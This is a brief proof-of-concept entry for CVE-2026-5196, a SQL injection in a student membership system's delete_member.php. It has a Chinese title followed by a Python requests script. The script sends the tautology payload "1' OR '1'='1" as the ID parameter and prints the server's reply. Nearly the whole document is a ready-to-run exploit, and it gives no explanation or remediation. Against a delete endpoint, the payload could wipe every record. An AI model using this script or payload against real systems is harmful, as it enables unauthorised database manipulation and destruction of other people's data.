CVE-2026-5196: Student Membership System SQL注入漏洞

import requests # Target URL setup target_url = "http://target-ip/path/delete_member.php" # SQL Injection Payload # This payload attempts to manipulate the query logic based on the ID parameter # Example: Checking if the database responds to a true condition (1=1) payload = { "ID": "1' OR '1'='1" } try: # Sending the malicious request response = requests.get(target_url, params=payload) # Analyzing the response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars for analysis else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")